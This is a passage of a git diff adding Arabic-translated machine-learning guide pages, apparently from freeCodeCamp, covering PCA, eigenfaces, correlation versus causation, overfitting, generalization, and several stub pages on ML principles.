+إن حساب التباين المشترك لهذه المصفوفة هو المكان الذي تصبح فيه الأشياء مثيرة للاهتمام. يتم تعريف التباين في مصفوفة X على أنها نقطة (X ، XT) ، وأبعادها هي n ^ 2 xn ^ 2. من الواضح أن هذا سيخرج من الذاكرة لمجموعات البيانات الكبيرة هذه. الآن نضع في الاعتبار مجموعة المعادلات التالية. dot (XT، X) V = λ V حيث V هي Eigenvector و λ هي قيم Eigen المقابلة. قبل التكاثر مع X ، dot (نقطة (X، XT)، dot (X، V)) = λ dot (X. V) وهكذا نجد أن Eigenvector من مصفوفة التغاير هو ببساطة المنتج النقطي لمصفوفة الصورة و Eigenvector للنقطة (XT، X).
+
+لذلك نحسب النقطة (XT، X) ، التي يكون بعدها mxm فقط ، وتستخدم Eigenvector لهذه المصفوفة لبناء Eigenvector المصفوفة الأصلية. تتوافق قيم eigenvalues ​​of dot (XT، X) (جنبا إلى جنب مع eigenvectors المناظرة لها) مع أكبر قيم eigenvalues ​​من النقطة (X، XT) (جنبا إلى جنب مع eigenvectors المقابلة لها). مطلوب لدينا إن المتجهات الذاتية هي مجرد أولى المركبات الذاتية وقيمها الذاتية المقابلة. نحن الآن نحسب مصفوفة من eigenfaces ، وهي ليست سوى الصور المرجحة ضدهم المتجهات الذاتية. ستكون الأوزان لكل صورة k الآن نقطة (XT ، eigenfaces (قيم k الأولى)).
+
+### إعادة بناء الصورة
+
+تساعدنا هذه الطريقة في تمثيل أي صورة باستخدام ميزات k للصور m فقط. يمكن إعادة بناء أي صورة باستخدام هذه الأوزان. للحصول على أي صورة ، صورة (i) = نقطة (eigenface (k) ، الوزن \[i ،:\]. T)
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/principal-component-analysis/index.md b/client/src/guide/arabic/machine-learning/principal-component-analysis/index.md
new file mode 100644
index 0000000000..f132cd8bb3
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/principal-component-analysis/index.md
@@ -0,0 +1,62 @@
+---
+title: Principal Component Analysis
+localeTitle: تحليل المكونات الرئيسية
+---
+## تحليل المكون الرئيسي (PCA)
+
+### ما هذا؟
+
+التحليل الأساسي للعناصر (PCA) هو خوارزمية تستخدم في التعلم الآلي لتقليل أبعاد مجموعة البيانات. قد تقلل مجموعة بيانات تحتوي على مئات الميزات المختلفة إلى مجموعة بيانات جديدة تحتوي على اثنتين فقط.
+
+على سبيل المثال ، تخيل أنك تريد قياس قدرة الطيار. هناك العديد من العوامل المختلفة التي ينطوي عليها هذا. هناك ميزتان مهمتان يجب أخذهما بعين الاعتبار قد يكونان مهارة الطيار واستمتاع الطيار. هذا من شأنه أن يكون مجموعة بيانات ثنائية الأبعاد ، لأنه يحتوي على ميزتين. يمكن أن يقلل PCA هذه الميزات في واحد عن طريق دمجها معًا. يمكنك الاتصال بهذه الميزة الجديدة "aibitude pilot". تمنحك هذه الميزة الجديدة مقياسًا أبسط لقياس قدرة الطيار.
+
+إذا كنت تخطط لمهارة تجريبية ضد التمتع الطيار ، قد تحصل على شيء من هذا القبيل:
+
+![تآمر مهارة الطيار مقابل متعة الطيار](https://github.com/DHDaniel/guides/blob/master/src/pages/machine-learning/principal-component-analysis/plot-skill-vs-enjoyment.png?raw=true)
+
+بشكل حدسي ، ما يفعله PCA هو أنه يجد أفضل خط مستقيم (أو مستوي ، في حالات أبعاد أعلى) لإظهار هاتين الميزتين. يتم الإسقاط عن طريق رسم خط عمودي بين النقطة والخط. يمكنك رؤية مثال على هذا أدناه:
+
+![الإسقاط على الخط](https://github.com/DHDaniel/guides/blob/master/src/pages/machine-learning/principal-component-analysis/projection.png?raw=true)
+
+يمكنك التفكير في PCA كإيجاد أفضل خط لمجموعة البيانات بحيث يتم الحفاظ على معلومات كل نقطة بشكل أفضل. يقوم بذلك عن طريق تقليل مجموع أخطاء الإسقاط المربعة لكل نقطة. الخطأ الإسقاط هو طول الخطوط العمودية التي تحدد كل نقطة على الخط. من خلال تقليل هذه ، تأكد من أن الخط المستقيم المختار هو أفضل مزيج من هاتين الميزتين.
+
+في ما يلي أمثلة لخط جيد يمكنك من خلاله عرض البيانات ، والبيانات السيئة. تعتبر الإسقاطات الناتجة عن الخط الجيد أكثر تمثيلاً للبيانات الأصلية ، ولها أخطاء أصغر. من الواضح أن الإسقاطات الناتجة عن الخط السيئ تمثل تمثيل أسوأ ، وأخطاء الإسقاط أكبر من ذلك بكثير.
+
+![جيد مقابل الإسقاط السيئ للنقاط](https://github.com/DHDaniel/guides/blob/master/src/pages/machine-learning/principal-component-analysis/good-vs-bad-projection.png?raw=true)
+
+**هام** : تجدر الإشارة إلى أن PCA يختلف عن [الانحدار الخطي](https://en.wikipedia.org/wiki/Linear_regression) . تختلف أهداف التحسين الخاصة بهم (ما يهدفون إلى تقليله).
+
+إذا قمت بتشغيل PCA على مجموعة البيانات التجريبية ، فقد تحصل على ميزة جديدة ، "aptitude pilot" ، والتي تبدو كالتالي:
+
+![تحويل مجموعة البيانات التجريبية باستخدام PCA](https://github.com/DHDaniel/guides/blob/master/src/pages/machine-learning/principal-component-analysis/PCA-on-dataset.png?raw=true)
+
+إن رياضيات PCA معقدة بعض الشيء ، لكن ليس من الضروري أن تكون خبيرًا في ذلك حتى تتمكن من استخدامها. على الرغم من وجود الكثير من الجبر الخطي وراءه ، إلا أن استخدامه سهل نسبيًا. هذا لأن هناك الكثير من مكتبات الأكواد مع تطبيقات PCA الجاهزة. تتضمن بعض الأمثلة ما يلي:
+
+*   [تطبيق جافا سكريبت PCA](https://github.com/mljs/pca) .
+*   [بايثون scikit - تعلم التنفيذ](http://scikit-learn.org/stable/modules/generated/sklearn.decomposition.PCA.html) .
+*   [تنفيذ MATLAB](https://www.mathworks.com/help/stats/pca.html) .
+
+### لماذا استخدامها؟
+
+هناك العديد من الأسباب لاستخدام خوارزمية PCA. واحد مهم جدا واحد هو تصور البيانات. من السهل تصور البيانات ثنائية وثلاثية الأبعاد وحتى البيانات ثلاثية الأبعاد ، ولكن بعد ذلك ، يصبح الأمر صعبًا. في التعلم الآلي ، غالباً ما يكون من المفيد جداً رؤية البيانات قبل البدء في العمل عليها. لكن من الصعب جدًا رؤية مجموعة بيانات عالية الأبعاد. باستخدام PCA ، قد يتم تخفيض مجموعة البيانات مائة الأبعاد إلى واحد 2 الأبعاد.
+
+هذا مفيد بشكل خاص في حالات العالم الحقيقي ، حيث تكون مجموعات البيانات في كثير من الأحيان عالية الأبعاد. على سبيل المثال ، قد تتمكن من الجمع بين مقاييس الأداء الاقتصادي مثل إجمالي الناتج المحلي ، أو مؤشر التنمية البشرية ، إلخ ، في ميزة واحدة. يمكّنك هذا من إجراء مقارنات أفضل بين البلدان ، كما يسمح لك بتصور البيانات باستخدام الرسم البياني.
+
+سبب آخر لاستخدام خوارزمية PCA هو جعل مجموعة البيانات الخاصة بك أصغر. بالنسبة للمشاكل المتعلقة بمئات الآلاف من الميزات (مثل معالجة الصور) ، يمكن أن تستغرق خوارزميات تعلم الآلة وقتًا طويلاً للتشغيل. من خلال تقليل عدد الميزات ، يمكنك تحسين سرعة هذه الخوارزميات دون التضحية بالدقة. يمكنك أيضًا توفير الكثير من مساحة القرص ، خاصةً إذا كنت تعمل مع مجموعات بيانات ضخمة.
+
+### محددات
+
+نظرًا لأنك تقوم في الأساس بتبسيط مجموعة بيانات عند تشغيل PCA ، فقد تفقد بعض التفاصيل في العملية. هذا هو الحال خاصة مع نقاط البيانات التي تنتشر بشكل كبير وليس لديها علاقة قوية جدا.
+
+#### واقترح ريدينج:
+
+*   https://www.reddit.com/r/datascience/comments/668pp1
+*   https://en.wikipedia.org/wiki/ تحليل _المكون الرئيسي_
+*   http://www.cs.otago.ac.nz/cosc453/student _tutorials / principal_ components.pdf
+*   http://setosa.io/ev/principal-component-analysis/ (Interactive)
+
+تقول ويكيبيديا ، "تحليل المكون الرئيسي (PCA) هو إجراء إحصائي يستخدم تحويلًا متعامدًا لتحويل مجموعة من المشاهدات للمتغيرات المرتبطة المحتملة إلى مجموعة من القيم للمتغيرات غير المترابطة خطيًا والتي تدعى المكونات الأساسية (أو في بعض الأحيان ، صيغ التباين الرئيسية) ".
+
+التحليل الأساسي للمكونات (PCA) هو أسلوب إحصائي يستخدم لفحص العلاقات المتبادلة بين مجموعة من المتغيرات من أجل تحديد البنية الأساسية لتلك المتغيرات. عادة ما يقلل PCA عدد الميزات من N-Dimensional إلى k-Dimensional حيث k <N
+
+لدى PCA التطبيقات التالية: 1) الضغط: زيادة السرعة الحسابية وأيضا لتقليل مساحة التخزين 2) التصور: يمكن PCA تقليل البيانات إلى بيانات ثنائية أو ثلاثية لغرض التصور
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/principles/correlation-does-not-imply-causation/index.md b/client/src/guide/arabic/machine-learning/principles/correlation-does-not-imply-causation/index.md
new file mode 100644
index 0000000000..bc7f8d8884
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/principles/correlation-does-not-imply-causation/index.md
@@ -0,0 +1,24 @@
+---
+title: Correlation Does not Imply Causation
+localeTitle: الارتباط لا يعني السببية
+---
+## الارتباط لا يعني السببية
+
+كثير من المواقع المتعلقة بالصحة واللياقة البدنية غالباً ما تفوت هذه النقطة حول الأبحاث التي تحدث في هذه المجالات. إنهم يذكرون البحث العلمي على أنه سبب آخر غير ما هو عليه فعلاً ، الارتباط. على سبيل المثال. وجد الباحثون أن الارتفاعات المبكرة لها مؤشر كتلة جسم أقل ووجد أنها أقل بدانة. يمكن تحريف هذه العلاقة لأن "الاستيقاظ المبكر يمكن أن يقلل من فرص السمنة". نحن لا نعرف أن مجرد الاستيقاظ المبكر "تسبب" النتيجة - أقل السمنة. ما وجدناه هنا هو الارتباط.
+
+يذهب التعريف غير الرسمي للارتباط كما - عندما يحدث الحدث A ، يميل الحدث B إلى الحدوث والعكس بالعكس. أو الأشخاص الذين يستيقظون مبكرين يميلون إلى الاتجاه نحو الطرف الأدنى من طيف الوزن. كلا الحدثين يحدثان معًا. لكن ليس من الضروري أن يتسبب حدث واحد في الآخر.
+
+العلاقة السببية تعني أن الحدث "تسبب" أو يؤدي إلى حدوث الحدث B. على سبيل المثال. إذا وقفت في الشمس ، فسوف أتألم. هنا يحدث الحدث الثاني بسبب الأول.
+
+في الإحصائيات ، هناك الكثير من الحديث عن **المتغيرات المرتبطة** . العلاقة هي علاقة بين متغيرين. يشير **السببية** إلى علاقة يكون فيها تغيير أحد المتغيرات **مسؤولاً عن** تغيير متغير آخر. هذا هو المعروف أيضا باسم **العلاقة السببية** .
+
+عندما تكون هناك علاقة سببية بين متغيرين ، هناك أيضا علاقة متبادلة بينهما. لكن العلاقة بين متغيرين لا تعني وجود علاقة سببية بينهما. هذه [مغالطة منطقية](https://en.wikipedia.org/wiki/Formal_fallacy) .
+
+ويرجع ذلك إلى أن العلاقة بين متغيرين يمكن تفسيرها لأسباب عديدة:
+
+*   متغير واحد يؤثر على الآخر. هذه _ستكون_ علاقة سببية. على سبيل المثال ، هناك علاقة بين راتب الأسرة وعدد السيارات المملوكة.
+*   كل من المتغيرات تؤثر على بعضها البعض. هذا من _شأنه أن_ يكون علاقة سببية في اتجاهين. على سبيل المثال ، وجود علاقة بين مستوى التعليم وثروة الشخص.
+*   هناك متغير آخر يؤثر على كل من المتغيرات تحت الفحص. هذا _لن_ يكون وجود علاقة سببية. على سبيل المثال ، قد يكون عدد السيارات المملوكة وحجم المنزل مرتبطًا ، ولكن هذين المتغيرين يتأثران بمتغير آخر: الراتب. لا تؤثر زيادة عدد السيارات المملوكة على حجم المنزل.
+*   يمكن أن يكون الارتباط حادثًا عشوائيًا. هذا _لن_ يكون وجود علاقة سببية. هذا هو التفسير للمثال السابق لاستهلاك المارجرين ومعدل الطلاق في ولاية ماين.
+
+في التعلم الآلي ، تكفي العلاقة لخلق نموذج تنبئي. ومع ذلك ، لا يعني مجرد وجود متغيرين متلازمين أن أحد المتغيرات يؤثر على الآخر. بمعنى آخر ، على الرغم من أن التعلم الآلي قد يساعد في إيجاد علاقة بين متغيرين ، إلا أنه لا يساعد بالضرورة في العثور على سبب العلاقة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/principles/data-alone-is-not-enough/index.md b/client/src/guide/arabic/machine-learning/principles/data-alone-is-not-enough/index.md
new file mode 100644
index 0000000000..c50ea4914d
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/principles/data-alone-is-not-enough/index.md
@@ -0,0 +1,23 @@
+---
+title: Data Alone Is not Enough
+localeTitle: البيانات وحدها ليست كافية
+---
+## البيانات وحدها ليست كافية
+
+دون حساب تغيير خوارزميات تعلم الآلة أو جوانب أخرى من تدريب النموذج ، والبيانات وحدها ليست كافية لمساعدة المتعلم الخاص بك على نحو أفضل.
+
+> يجب على كل متعلم أن يجسد بعض المعرفة أو الافتراضات أكثر من البيانات المقدمة من أجل التعميم وراءها (Domingos ، 2012).
+
+ما يقوله هذا البيان هو أنه إذا اخترت أعمى المتعلم فقط لأنك سمعت أنه جيد ، جمع المزيد من البيانات لن بالضرورة مساعدتك في أهداف التعلم الآلي.
+
+على سبيل المثال ، لنفترض أن لديك بيانات تعتمد على الوقت (مثل بيانات السلاسل الزمنية) وتريد استخدام مصنف ثنائي (مثل الانحدار اللوجستي). جمع قد لا تكون بيانات سلسلة الوقت الأفضل هي الأفضل لمساعدة متعلمك. هذا هو لأنه لم يتم تصميم مصنف ثنائي لسلاسل زمنية.
+
+هذا لا يعني أنه بمجرد اختيار أفضل خوارزمية التعلم الآلي بناء على مشكلتك أن إضافة المزيد من البيانات ليس جيدًا. في هذه الحالة ، ذلك سوف يساعدك.
+
+> التعلم الآلي ليس سحرا ؛ لا يمكن الحصول على شيء من لا شيء. ما هو الحصول على المزيد من أقل… يدمج المتعلمين المعرفة مع البيانات في النمو برامج (Domingos ، 2012).
+
+#### معلومات اكثر:
+
+*   [قليل من الأشياء المفيدة التي يجب معرفتها عن تعلم الآلة](https://homes.cs.washington.edu/~pedrod/papers/cacm12.pdf)
+*   [في التعلم الآلي ، ما هو أفضل: المزيد من البيانات أو أفضل الخوارزميات؟](http://www.kdnuggets.com/2015/06/machine-learning-more-data-better-algorithms.html)
+*   [في التعلم الآلي ، هل هناك دائمًا بيانات أفضل من خوارزميات أفضل؟](https://www.quora.com/In-machine-learning-is-more-data-always-better-than-better-algorithms/answer/Xavier-Amatriain?srid=Tds3)
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/principles/feature-engineering-is-the-key/index.md b/client/src/guide/arabic/machine-learning/principles/feature-engineering-is-the-key/index.md
new file mode 100644
index 0000000000..913baf02f0
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/principles/feature-engineering-is-the-key/index.md
@@ -0,0 +1,11 @@
+---
+title: Feature Engineering Is the Key
+localeTitle: هندسة الميزة هو المفتاح
+---
+## هندسة الميزة هو المفتاح
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/principles/feature-engineering-is-the-key/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/principles/index.md b/client/src/guide/arabic/machine-learning/principles/index.md
new file mode 100644
index 0000000000..f7719c2864
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/principles/index.md
@@ -0,0 +1,11 @@
+---
+title: Principles
+localeTitle: مبادئ
+---
+## مبادئ
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/principles/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/principles/intuition-fails-in-high-dimensions/index.md b/client/src/guide/arabic/machine-learning/principles/intuition-fails-in-high-dimensions/index.md
new file mode 100644
index 0000000000..571e32834e
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/principles/intuition-fails-in-high-dimensions/index.md
@@ -0,0 +1,27 @@
+---
+title: Intuition Fails in High Dimensions
+localeTitle: الحدس يفشل في الأبعاد العالية
+---
+## الحدس يفشل في الأبعاد العالية
+
+#### تخيل
+
+طائرة ثنائية الأبعاد بمحور `X` و `Y` عليها تقوم بتمييز النقاط `(1,0)` و `(0,1)` . ومن خلالهم ترسم خطا مستقيما. حتى دون النظر إلى الصورة أدناه ، يمكن للمرء الحصول على فكرة حول شكل الرسم البياني.
+
+![طائرة X-Y بخطك الوهمي](https://ka-perseus-graphie.s3.amazonaws.com/466568bad0126c402380ff2ea57aad004f36172b.svg)
+
+الآن دعونا نتخيل طائرة ثلاثية الأبعاد مع محور `X` و `Y` و `Z` من خلال هذه البنية الثلاثية الأبعاد ، يمرر مستوى يتقاطع مع المحور `X` عند `(2, 0, 0)` ، `Y` في المحور `(0, 3, 0)` ، و `Z` Axis عند `(0, 0, 6)` . مثل هذه الطائرة يصعب تخيلها في رؤوسنا ، لكن إذا حاولنا ، فسينتهي الأمر بشيء يشبه هذا.
+
+![X-Y-Z مع طائرتنا](http://tutorial.math.lamar.edu/Classes/CalcIII/SurfaceArea_files/image001.gif)
+
+مع ذلك ، نصل إلى dimesion أعلى المقبلة. يتم الإشارة إلى الطائرات في أبعاد أعلى من `3` على أنها طائرات فائضة. لكن دعنا أولاً نتحدث فقط عن النقطة التي يشير إليها المحور الرابع. دعونا نسميها `W` محور. وعلى غرار الحالات السابقة لإنشاء محور جديد ، سيكون محور `W` هذا متعامدًا مع المحاور الموجودة مسبقًا ( `X` و `Y` و `Z` ). تماما مثل `Z` كان عموديا على محاور `X` و `Y`
+
+![X-Y-Z-W Axes](http://eusebeia.dyndns.org/4d/vis/4d-axes.png)
+
+> من المهم أن نفهم أن محور W كما هو موضح هنا هو عمودي على جميع محاور الإحداثيات الأخرى. قد نميل إلى محاولة الإشارة إلى اتجاه W ، لكن هذا مستحيل لأننا محصورون في الفضاء الثلاثي الأبعاد.
+
+لأننا نعيش في عالم ثلاثي الأبعاد ، يصعب علينا فهم العالم الذي له أبعاد أعلى من 3. وهذا هو السبب في أن الحدس والخيال لدينا يكونان من المساعدة المحدودة في الأبعاد العالية.
+
+#### معلومات اكثر:
+
+*   [4D التصور ولماذا يهم](http://eusebeia.dyndns.org/4d/vis/01-intro)
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/principles/its-generalization-that-counts/index.md b/client/src/guide/arabic/machine-learning/principles/its-generalization-that-counts/index.md
new file mode 100644
index 0000000000..051ba0b641
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/principles/its-generalization-that-counts/index.md
@@ -0,0 +1,16 @@
+---
+title: Its Generalization That Counts
+localeTitle: تعميمها وهذا هو المهم
+---
+## تعميمها وهذا هو المهم
+
+تأتي قوة التعلم الآلي من عدم الحاجة إلى شفرة صلبة أو صراحة تحديد المعلمات التي تصف بيانات التدريب والبيانات غير المرئية. هذا هو الهدف الأساسي للتعلم الآلي: تعميم نتائج المتعلم.
+
+لاختبار قابلية تعميم المتعلم ، سترغب في الحصول على بيانات اختبار منفصلة مجموعة لا تستخدم بأي شكل من الأشكال في تدريب المتعلم. هذا يمكن أن تنشأ من قبل إما تقسيم كامل بيانات التدريب الخاصة بك إلى مجموعة تدريب واختبار ، أو لجمع المزيد من البيانات. إذا كان المتعلم يستخدم البيانات الموجودة في الاختبار مجموعة البيانات ، وهذا من شأنه خلق نوع من التحيز في المتعلم الخاص بك للقيام بعمل أفضل من واقع.
+
+إحدى الطرق للحصول على فكرة عن كيفية قيام المتعلم بعمله في مجموعة بيانات الاختبار هو أداء ما يسمى **التحقق من صحة عبر** . هذا ينقسم عشوائيا بك بيانات التدريب في عدد معين من المجموعات الفرعية (على سبيل المثال ، عشر مجموعات فرعية) و يترك مجموعة فرعية واحدة بينما يتدرب المتعلم على الباقي. ثم مرة واحدة تم تدريب المتعلم ، يتم استخدام مجموعة البيانات إلى اليسار للاختبار. هذه التدريب ، وترك مجموعة فرعية واحدة ، ويتم تكرار الاختبار أثناء تدوير من خلال المجموعات الفرعية.
+
+#### معلومات اكثر:
+
+*   [قليل من الأشياء المفيدة التي يجب معرفتها عن تعلم الآلة](https://homes.cs.washington.edu/~pedrod/papers/cacm12.pdf)
+*   ["كيف تستخدم مجموعة بيانات الاختبار بعد التحقق من الصحة المتصالبة"](https://stats.stackexchange.com/a/153058/132399)
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/principles/learn-many-models-not-just-one/index.md b/client/src/guide/arabic/machine-learning/principles/learn-many-models-not-just-one/index.md
new file mode 100644
index 0000000000..c7eb42f954
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/principles/learn-many-models-not-just-one/index.md
@@ -0,0 +1,11 @@
+---
+title: Learn Many Models not Just One
+localeTitle: تعلم العديد من النماذج وليس مجرد واحد
+---
+## تعلم العديد من النماذج وليس مجرد واحد
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/principles/learn-many-models-not-just-one/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/principles/learning-equals-representation-evaluation-optimization/index.md b/client/src/guide/arabic/machine-learning/principles/learning-equals-representation-evaluation-optimization/index.md
new file mode 100644
index 0000000000..53dfe71d80
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/principles/learning-equals-representation-evaluation-optimization/index.md
@@ -0,0 +1,19 @@
+---
+title: Learning Equals Representation Evaluation Optimization
+localeTitle: التعلم يساوي تقييم التقييم الأمثل
+---
+## التعلم يساوي تقييم التقييم الأمثل
+
+وقد تفجر مجال التعلم الآلي في السنوات الأخيرة والباحثين وضعت عددا هائلا من الخوارزميات للاختيار من بينها. على الرغم من هذا عظيم مجموعة متنوعة من النماذج للاختيار من بينها ، يمكن تقسيمها إلى ثلاثة المكونات.
+
+المكونات الثلاثة التي تجعل نموذج التعلم الآلي هي التمثيل ، التقييم ، والتحسين. هذه الثلاثة هي الأكثر ارتباطا مباشرة التعلم الخاضع للإشراف ، ولكن يمكن أن يكون مرتبطًا بالتعلم بدون إشراف أيضًا.
+
+**التمثيل** - هذا يصف كيف تريد النظر إلى بياناتك. في بعض الأحيان قد ترغب في التفكير في البيانات الخاصة بك من حيث الأفراد (مثل في أقرب الجيران) أو ما شابه في الرسم البياني (كما هو الحال في شبكات بايزي).
+
+**التقييم** - لأغراض التعلم تحت الإشراف ، ستحتاج إلى تقييم أو ضع علامة على مدى جودة أداء المتعلم لديك حتى يمكن تحسينه. هذه يتم التقييم باستخدام وظيفة تفريخ (يعرف أيضًا باسم _الهدف وظيفة_ أو _وظيفة_ _التهديف_ ). تتضمن الأمثلة الدقة والخطأ المربعة.
+
+**الأمثل** - باستخدام وظيفة التقييم من أعلى ، تحتاج إلى العثور عليها المتعلم مع أفضل درجة من هذه الوظيفة التقييم باستخدام اختيار تقنية التحسين. ومن الأمثلة على ذلك البحث الجشع والنسب التدرج.
+
+#### معلومات اكثر:
+
+*   [قليل من الأشياء المفيدة التي يجب معرفتها عن تعلم الآلة](https://homes.cs.washington.edu/~pedrod/papers/cacm12.pdf)
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/principles/more-data-beats-a-cleverer-algorithm/index.md b/client/src/guide/arabic/machine-learning/principles/more-data-beats-a-cleverer-algorithm/index.md
new file mode 100644
index 0000000000..0dc79e6c88
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/principles/more-data-beats-a-cleverer-algorithm/index.md
@@ -0,0 +1,11 @@
+---
+title: More Data Beats a Cleverer Algorithm
+localeTitle: المزيد من البيانات يتفوق على خوارزمية Cleverer
+---
+## المزيد من البيانات يتفوق على خوارزمية Cleverer
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/principles/more-data-beats-a-cleverer-algorithm/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/principles/overfitting-has-many-faces/index.md b/client/src/guide/arabic/machine-learning/principles/overfitting-has-many-faces/index.md
new file mode 100644
index 0000000000..5ec5b8fc37
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/principles/overfitting-has-many-faces/index.md
@@ -0,0 +1,41 @@
+---
+title: Overfitting Has Many Faces
+localeTitle: التجهيز له العديد من الوجوه
+---
+## التجهيز له العديد من الوجوه
+
+إذا كانت خوارزمية التعلم تناسب مجموعة تدريب معينة ، فهذا لا يشير ببساطة إلى فرضية جيدة. يحدث overfitting عندما تناسب وظيفة فرضية J (Θ) مجموعة التدريب الخاصة بك عن كثب وجود تباين عال وخطأ منخفض في مجموعة التدريب مع وجود خطأ اختبار عالي على أي بيانات أخرى.
+
+بمعنى آخر ، قم بتغطية الحروف الناقصة إذا كان خطأ الفرضية كما تم قياسه على مجموعة البيانات التي تم استخدامها لتدريب المعلمات يحدث أقل من الخطأ في أي مجموعة بيانات أخرى.
+
+### اختيار درجة متعددة الحدود الأمثل
+
+إن اختيار الدرجة المناسبة من كثير الحدود لوظيفة الافتراض مهم في تجنب التكرار. ويمكن تحقيق ذلك من خلال اختبار كل درجة متعددة الحدود وملاحظة التأثير على نتيجة الخطأ عبر أجزاء مختلفة من مجموعة البيانات. ومن ثم ، يمكننا تقسيم مجموعة البيانات الخاصة بنا إلى 3 أجزاء يمكن استخدامها في تحسين فرضية "ثيتا" و "درجة متعددة الحدود".
+
+نسبة الاختصار الجيد لمجموعة البيانات هي:
+
+*   مجموعة التدريب: 60 ٪
+*   التصديق المتقاطع: 20٪
+*   مجموعة الاختبار: 20 ٪
+
+وبالتالي يمكن حساب قيم الخطأ الثلاثة بالطريقة التالية: 1
+
+1.  استخدام مجموعة التدريب لكل درجة متعددة الحدود من أجل تحسين المعلمات في `Θ`
+2.  استخدم مجموعة التحقق من الصحة المتقاطعة للعثور على درجة متعددة الحدود مع أدنى خطأ
+3.  استخدم مجموعة الاختبار لتقدير خطأ التعميم
+
+### طرق لإصلاح التثبيت
+
+هذه بعض طرق معالجة التجهيز:
+
+1.  الحصول على المزيد من الأمثلة التدريبية
+2.  جرب مجموعة أصغر من الميزات
+3.  زيادة المعلمة `λ lambda`
+
+#### معلومات اكثر:
+
+[دورة تعلم الآلة في كورسيرا](https://www.coursera.org/learn/machine-learning)
+
+### مصادر
+
+1.  [نج ، أندرو. "تعلم الآلة". _Corsera_ الوصول إليها في 29 يناير 2018](https://www.coursera.org/learn/machine-learning)
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/principles/representable-does-not-imply-learnable/index.md b/client/src/guide/arabic/machine-learning/principles/representable-does-not-imply-learnable/index.md
new file mode 100644
index 0000000000..7ae46a0dec
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/principles/representable-does-not-imply-learnable/index.md
@@ -0,0 +1,11 @@
+---
+title: Representable Does not Imply Learnable
+localeTitle: ممثل لا يتعلم بشكل واضح
+---
+## ممثل لا يتعلم بشكل واضح
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/principles/representable-does-not-imply-learnable/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/principles/simplicity-does-not-imply-accuracy/index.md b/client/src/guide/arabic/machine-learning/principles/simplicity-does-not-imply-accuracy/index.md
new file mode 100644
index 0000000000..d482fa91c6
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/principles/simplicity-does-not-imply-accuracy/index.md
@@ -0,0 +1,11 @@
+---
+title: Simplicity Does not Imply Accuracy
+localeTitle: البساطة لا يحد من دقة
+---
+## البساطة لا يحد من دقة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/principles/simplicity-does-not-imply-accuracy/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/principles/theoretical-guarantees-are-not-what-they-seem/index.md b/client/src/guide/arabic/machine-learning/principles/theoretical-guarantees-are-not-what-they-seem/index.md
new file mode 100644
index 0000000000..d3656d65a0
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/principles/theoretical-guarantees-are-not-what-they-seem/index.md
@@ -0,0 +1,11 @@
+---
+title: Theoretical Guarantees Are not What They Seem
+localeTitle: الضمانات النظرية ليست كما تبدو
+---
+## الضمانات النظرية ليست كما تبدو
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/principles/theoretical-guarantees-are-not-what-they-seem/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/random-forest/index.md b/client/src/guide/arabic/machine-learning/random-forest/index.md
new file mode 100644
index 0000000000..8370213bde
--- /dev/null
